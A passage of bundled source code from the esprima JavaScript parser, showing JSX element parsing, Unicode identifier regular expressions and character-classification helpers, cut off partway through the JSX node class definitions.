JSXNode.JSXElement(opening, [], null)); el.children.push(child); } else { stack.push(el); el = { node: node, opening: opening, closing: null, children: [] }; } } if (element.type === jsx_syntax_1.JSXSyntax.JSXClosingElement) { el.closing = element; var open_1 = getQualifiedElementName(el.opening.name); var close_1 = getQualifiedElementName(el.closing.name); if (open_1 !== close_1) { this.tolerateError('Expected corresponding JSX closing tag for %0', open_1); } if (stack.length > 0) { var child = this.finalize(el.node, new JSXNode.JSXElement(el.opening, el.children, el.closing)); el = stack[stack.length - 1]; el.children.push(child); stack.pop(); } else { break; } } } return el; }; JSXParser.prototype.parseJSXElement = function () { var node = this.createJSXNode(); var opening = this.parseJSXOpeningElement(); var children = []; var closing = null; if (!opening.selfClosing) { var el = this.parseComplexJSXElement({ node: node, opening: opening, closing: closing, children: children }); children = el.children; closing = el.closing; } return this.finalize(node, new JSXNode.JSXElement(opening, children, closing)); }; JSXParser.prototype.parseJSXRoot = function () { // Pop the opening '<' added from the lookahead. if (this.config.tokens) { this.tokens.pop(); } this.startJSX(); var element = this.parseJSXElement(); this.finishJSX(); return element; }; JSXParser.prototype.isStartOfExpression = function () { return _super.prototype.isStartOfExpression.call(this) || this.match('<'); }; return JSXParser; }(parser_1.Parser)); exports.JSXParser = JSXParser; /***/ }, /* 4 */ /***/ function(module, exports) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); // See also tools/generate-unicode-regex.js. var Regex = { // Unicode v8.0.0 NonAsciiIdentifierStart: NonAsciiIdentifierStart: /[\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0-\u08B4\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0980\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0AF9\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C58-\u0C5A\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D\u0D4E\u0D5F-\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191E\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005-\u3007\u3021-\u3029\u3031-\u3035\u3038-\u303C\u3041-\u3096\u309B-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FD5\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA69D\uA6A0-\uA6EF\uA717-\uA71F\uA722-\uA788\uA78B-\uA7AD\uA7B0-\uA7B7\uA7F7-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA8FD\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uA9E0-\uA9E4\uA9E6-\uA9EF\uA9FA-\uA9FE\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA7E-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB65\uAB70-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDE80-\uDE9C\uDEA0-\uDED0\uDF00-\uDF1F\uDF30-\uDF4A\uDF50-\uDF75\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00\uDE10-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE4\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2]|\uD804[\uDC03-\uDC37\uDC83-\uDCAF\uDCD0-\uDCE8\uDD03-\uDD26\uDD50-\uDD72\uDD76\uDD83-\uDDB2\uDDC1-\uDDC4\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE2B\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEDE\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3D\uDF50\uDF5D-\uDF61]|\uD805[\uDC80-\uDCAF\uDCC4\uDCC5\uDCC7\uDD80-\uDDAE\uDDD8-\uDDDB\uDE00-\uDE2F\uDE44\uDE80-\uDEAA\uDF00-\uDF19]|\uD806[\uDCA0-\uDCDF\uDCFF\uDEC0-\uDEF8]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|[\uD80C\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDED0-\uDEED\uDF00-\uDF2F\uDF40-\uDF43\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF44\uDF50\uDF93-\uDF9F]|\uD82C[\uDC00\uDC01]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB]|\uD83A[\uDC00-\uDCC4]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1]|\uD87E[\uDC00-\uDE1D]/, // Unicode v8.0.0 NonAsciiIdentifierPart: NonAsciiIdentifierPart: /[\xAA\xB5\xB7\xBA\xC0-\xD6\xD8-\xF6\xF8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0300-\u0374\u0376\u0377\u037A-\u037D\u037F\u0386-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5\u03F7-\u0481\u0483-\u0487\u048A-\u052F\u0531-\u0556\u0559\u0561-\u0587\u0591-\u05BD\u05BF\u05C1\u05C2\u05C4\u05C5\u05C7\u05D0-\u05EA\u05F0-\u05F2\u0610-\u061A\u0620-\u0669\u066E-\u06D3\u06D5-\u06DC\u06DF-\u06E8\u06EA-\u06FC\u06FF\u0710-\u074A\u074D-\u07B1\u07C0-\u07F5\u07FA\u0800-\u082D\u0840-\u085B\u08A0-\u08B4\u08E3-\u0963\u0966-\u096F\u0971-\u0983\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BC-\u09C4\u09C7\u09C8\u09CB-\u09CE\u09D7\u09DC\u09DD\u09DF-\u09E3\u09E6-\u09F1\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47\u0A48\u0A4B-\u0A4D\u0A51\u0A59-\u0A5C\u0A5E\u0A66-\u0A75\u0A81-\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABC-\u0AC5\u0AC7-\u0AC9\u0ACB-\u0ACD\u0AD0\u0AE0-\u0AE3\u0AE6-\u0AEF\u0AF9\u0B01-\u0B03\u0B05-\u0B0C\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C-\u0B44\u0B47\u0B48\u0B4B-\u0B4D\u0B56\u0B57\u0B5C\u0B5D\u0B5F-\u0B63\u0B66-\u0B6F\u0B71\u0B82\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BBE-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCD\u0BD0\u0BD7\u0BE6-\u0BEF\u0C00-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C39\u0C3D-\u0C44\u0C46-\u0C48\u0C4A-\u0C4D\u0C55\u0C56\u0C58-\u0C5A\u0C60-\u0C63\u0C66-\u0C6F\u0C81-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD\u0CD5\u0CD6\u0CDE\u0CE0-\u0CE3\u0CE6-\u0CEF\u0CF1\u0CF2\u0D01-\u0D03\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D-\u0D44\u0D46-\u0D48\u0D4A-\u0D4E\u0D57\u0D5F-\u0D63\u0D66-\u0D6F\u0D7A-\u0D7F\u0D82\u0D83\u0D85-\u0D96\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCA\u0DCF-\u0DD4\u0DD6\u0DD8-\u0DDF\u0DE6-\u0DEF\u0DF2\u0DF3\u0E01-\u0E3A\u0E40-\u0E4E\u0E50-\u0E59\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F18\u0F19\u0F20-\u0F29\u0F35\u0F37\u0F39\u0F3E-\u0F47\u0F49-\u0F6C\u0F71-\u0F84\u0F86-\u0F97\u0F99-\u0FBC\u0FC6\u1000-\u1049\u1050-\u109D\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u135D-\u135F\u1369-\u1371\u1380-\u138F\u13A0-\u13F5\u13F8-\u13FD\u1401-\u166C\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EE-\u16F8\u1700-\u170C\u170E-\u1714\u1720-\u1734\u1740-\u1753\u1760-\u176C\u176E-\u1770\u1772\u1773\u1780-\u17D3\u17D7\u17DC\u17DD\u17E0-\u17E9\u180B-\u180D\u1810-\u1819\u1820-\u1877\u1880-\u18AA\u18B0-\u18F5\u1900-\u191E\u1920-\u192B\u1930-\u193B\u1946-\u196D\u1970-\u1974\u1980-\u19AB\u19B0-\u19C9\u19D0-\u19DA\u1A00-\u1A1B\u1A20-\u1A5E\u1A60-\u1A7C\u1A7F-\u1A89\u1A90-\u1A99\u1AA7\u1AB0-\u1ABD\u1B00-\u1B4B\u1B50-\u1B59\u1B6B-\u1B73\u1B80-\u1BF3\u1C00-\u1C37\u1C40-\u1C49\u1C4D-\u1C7D\u1CD0-\u1CD2\u1CD4-\u1CF6\u1CF8\u1CF9\u1D00-\u1DF5\u1DFC-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200C\u200D\u203F\u2040\u2054\u2071\u207F\u2090-\u209C\u20D0-\u20DC\u20E1\u20E5-\u20F0\u2102\u2107\u210A-\u2113\u2115\u2118-\u211D\u2124\u2126\u2128\u212A-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2160-\u2188\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D7F-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2DE0-\u2DFF\u3005-\u3007\u3021-\u302F\u3031-\u3035\u3038-\u303C\u3041-\u3096\u3099-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FD5\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA62B\uA640-\uA66F\uA674-\uA67D\uA67F-\uA6F1\uA717-\uA71F\uA722-\uA788\uA78B-\uA7AD\uA7B0-\uA7B7\uA7F7-\uA827\uA840-\uA873\uA880-\uA8C4\uA8D0-\uA8D9\uA8E0-\uA8F7\uA8FB\uA8FD\uA900-\uA92D\uA930-\uA953\uA960-\uA97C\uA980-\uA9C0\uA9CF-\uA9D9\uA9E0-\uA9FE\uAA00-\uAA36\uAA40-\uAA4D\uAA50-\uAA59\uAA60-\uAA76\uAA7A-\uAAC2\uAADB-\uAADD\uAAE0-\uAAEF\uAAF2-\uAAF6\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uAB30-\uAB5A\uAB5C-\uAB65\uAB70-\uABEA\uABEC\uABED\uABF0-\uABF9\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE00-\uFE0F\uFE20-\uFE2F\uFE33\uFE34\uFE4D-\uFE4F\uFE70-\uFE74\uFE76-\uFEFC\uFF10-\uFF19\uFF21-\uFF3A\uFF3F\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]|\uD800[\uDC00-\uDC0B\uDC0D-\uDC26\uDC28-\uDC3A\uDC3C\uDC3D\uDC3F-\uDC4D\uDC50-\uDC5D\uDC80-\uDCFA\uDD40-\uDD74\uDDFD\uDE80-\uDE9C\uDEA0-\uDED0\uDEE0\uDF00-\uDF1F\uDF30-\uDF4A\uDF50-\uDF7A\uDF80-\uDF9D\uDFA0-\uDFC3\uDFC8-\uDFCF\uDFD1-\uDFD5]|\uD801[\uDC00-\uDC9D\uDCA0-\uDCA9\uDD00-\uDD27\uDD30-\uDD63\uDE00-\uDF36\uDF40-\uDF55\uDF60-\uDF67]|\uD802[\uDC00-\uDC05\uDC08\uDC0A-\uDC35\uDC37\uDC38\uDC3C\uDC3F-\uDC55\uDC60-\uDC76\uDC80-\uDC9E\uDCE0-\uDCF2\uDCF4\uDCF5\uDD00-\uDD15\uDD20-\uDD39\uDD80-\uDDB7\uDDBE\uDDBF\uDE00-\uDE03\uDE05\uDE06\uDE0C-\uDE13\uDE15-\uDE17\uDE19-\uDE33\uDE38-\uDE3A\uDE3F\uDE60-\uDE7C\uDE80-\uDE9C\uDEC0-\uDEC7\uDEC9-\uDEE6\uDF00-\uDF35\uDF40-\uDF55\uDF60-\uDF72\uDF80-\uDF91]|\uD803[\uDC00-\uDC48\uDC80-\uDCB2\uDCC0-\uDCF2]|\uD804[\uDC00-\uDC46\uDC66-\uDC6F\uDC7F-\uDCBA\uDCD0-\uDCE8\uDCF0-\uDCF9\uDD00-\uDD34\uDD36-\uDD3F\uDD50-\uDD73\uDD76\uDD80-\uDDC4\uDDCA-\uDDCC\uDDD0-\uDDDA\uDDDC\uDE00-\uDE11\uDE13-\uDE37\uDE80-\uDE86\uDE88\uDE8A-\uDE8D\uDE8F-\uDE9D\uDE9F-\uDEA8\uDEB0-\uDEEA\uDEF0-\uDEF9\uDF00-\uDF03\uDF05-\uDF0C\uDF0F\uDF10\uDF13-\uDF28\uDF2A-\uDF30\uDF32\uDF33\uDF35-\uDF39\uDF3C-\uDF44\uDF47\uDF48\uDF4B-\uDF4D\uDF50\uDF57\uDF5D-\uDF63\uDF66-\uDF6C\uDF70-\uDF74]|\uD805[\uDC80-\uDCC5\uDCC7\uDCD0-\uDCD9\uDD80-\uDDB5\uDDB8-\uDDC0\uDDD8-\uDDDD\uDE00-\uDE40\uDE44\uDE50-\uDE59\uDE80-\uDEB7\uDEC0-\uDEC9\uDF00-\uDF19\uDF1D-\uDF2B\uDF30-\uDF39]|\uD806[\uDCA0-\uDCE9\uDCFF\uDEC0-\uDEF8]|\uD808[\uDC00-\uDF99]|\uD809[\uDC00-\uDC6E\uDC80-\uDD43]|[\uD80C\uD840-\uD868\uD86A-\uD86C\uD86F-\uD872][\uDC00-\uDFFF]|\uD80D[\uDC00-\uDC2E]|\uD811[\uDC00-\uDE46]|\uD81A[\uDC00-\uDE38\uDE40-\uDE5E\uDE60-\uDE69\uDED0-\uDEED\uDEF0-\uDEF4\uDF00-\uDF36\uDF40-\uDF43\uDF50-\uDF59\uDF63-\uDF77\uDF7D-\uDF8F]|\uD81B[\uDF00-\uDF44\uDF50-\uDF7E\uDF8F-\uDF9F]|\uD82C[\uDC00\uDC01]|\uD82F[\uDC00-\uDC6A\uDC70-\uDC7C\uDC80-\uDC88\uDC90-\uDC99\uDC9D\uDC9E]|\uD834[\uDD65-\uDD69\uDD6D-\uDD72\uDD7B-\uDD82\uDD85-\uDD8B\uDDAA-\uDDAD\uDE42-\uDE44]|\uD835[\uDC00-\uDC54\uDC56-\uDC9C\uDC9E\uDC9F\uDCA2\uDCA5\uDCA6\uDCA9-\uDCAC\uDCAE-\uDCB9\uDCBB\uDCBD-\uDCC3\uDCC5-\uDD05\uDD07-\uDD0A\uDD0D-\uDD14\uDD16-\uDD1C\uDD1E-\uDD39\uDD3B-\uDD3E\uDD40-\uDD44\uDD46\uDD4A-\uDD50\uDD52-\uDEA5\uDEA8-\uDEC0\uDEC2-\uDEDA\uDEDC-\uDEFA\uDEFC-\uDF14\uDF16-\uDF34\uDF36-\uDF4E\uDF50-\uDF6E\uDF70-\uDF88\uDF8A-\uDFA8\uDFAA-\uDFC2\uDFC4-\uDFCB\uDFCE-\uDFFF]|\uD836[\uDE00-\uDE36\uDE3B-\uDE6C\uDE75\uDE84\uDE9B-\uDE9F\uDEA1-\uDEAF]|\uD83A[\uDC00-\uDCC4\uDCD0-\uDCD6]|\uD83B[\uDE00-\uDE03\uDE05-\uDE1F\uDE21\uDE22\uDE24\uDE27\uDE29-\uDE32\uDE34-\uDE37\uDE39\uDE3B\uDE42\uDE47\uDE49\uDE4B\uDE4D-\uDE4F\uDE51\uDE52\uDE54\uDE57\uDE59\uDE5B\uDE5D\uDE5F\uDE61\uDE62\uDE64\uDE67-\uDE6A\uDE6C-\uDE72\uDE74-\uDE77\uDE79-\uDE7C\uDE7E\uDE80-\uDE89\uDE8B-\uDE9B\uDEA1-\uDEA3\uDEA5-\uDEA9\uDEAB-\uDEBB]|\uD869[\uDC00-\uDED6\uDF00-\uDFFF]|\uD86D[\uDC00-\uDF34\uDF40-\uDFFF]|\uD86E[\uDC00-\uDC1D\uDC20-\uDFFF]|\uD873[\uDC00-\uDEA1]|\uD87E[\uDC00-\uDE1D]|\uDB40[\uDD00-\uDDEF]/ }; exports.Character = { /* tslint:disable:no-bitwise */ fromCodePoint: function (cp) { return (cp < 0x10000) ? String.fromCharCode(cp) : String.fromCharCode(0xD800 + ((cp - 0x10000) >> 10)) + String.fromCharCode(0xDC00 + ((cp - 0x10000) & 1023)); }, // https://tc39.github.io/ecma262/#sec-white-space isWhiteSpace: function (cp) { return (cp === 0x20) || (cp === 0x09) || (cp === 0x0B) || (cp === 0x0C) || (cp === 0xA0) || (cp >= 0x1680 && [0x1680, 0x2000, 0x2001, 0x2002, 0x2003, 0x2004, 0x2005, 0x2006, 0x2007, 0x2008, 0x2009, 0x200A, 0x202F, 0x205F, 0x3000, 0xFEFF].indexOf(cp) >= 0); }, // https://tc39.github.io/ecma262/#sec-line-terminators isLineTerminator: function (cp) { return (cp === 0x0A) || (cp === 0x0D) || (cp === 0x2028) || (cp === 0x2029); }, // https://tc39.github.io/ecma262/#sec-names-and-keywords isIdentifierStart: function (cp) { return (cp === 0x24) || (cp === 0x5F) || (cp >= 0x41 && cp <= 0x5A) || (cp >= 0x61 && cp <= 0x7A) || (cp === 0x5C) || ((cp >= 0x80) && Regex.NonAsciiIdentifierStart.test(exports.Character.fromCodePoint(cp))); }, isIdentifierPart: function (cp) { return (cp === 0x24) || (cp === 0x5F) || (cp >= 0x41 && cp <= 0x5A) || (cp >= 0x61 && cp <= 0x7A) || (cp >= 0x30 && cp <= 0x39) || (cp === 0x5C) || ((cp >= 0x80) && Regex.NonAsciiIdentifierPart.test(exports.Character.fromCodePoint(cp))); }, // https://tc39.github.io/ecma262/#sec-literals-numeric-literals isDecimalDigit: function (cp) { return (cp >= 0x30 && cp <= 0x39); // 0..9 }, isHexDigit: function (cp) { return (cp >= 0x30 && cp <= 0x39) || (cp >= 0x41 && cp <= 0x46) || (cp >= 0x61 && cp <= 0x66); // a..f }, isOctalDigit: function (cp) { return (cp >= 0x30 && cp <= 0x37); // 0..7 } }; /***/ }, /* 5 */ /***/ function(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var jsx_syntax_1 = __webpack_require__(6); /* tslint:disable:max-classes-per-file */ var JSXClosingElement = (function () { function JSXClosingElement(name) { this.type = jsx_syntax_1.JSXSyntax.JSXClosingElement; this.name = name; } return JSXClosingElement; }()); exports.JSXClosingElement = JSXClosingElement; var JSXElement = (function () { function JSXElement(openingElement, children, closingElement) { this.type = jsx_syntax_1.JSXSyntax.JSXElement; this.openingElement = openingElement; this.children = children; this.closingElement = closingElement; } return JSXElement; }()); exports.JSXElement = JSXElement; var JSXEmptyExpression = (function () { function JSXEmptyExpression() { this.type = 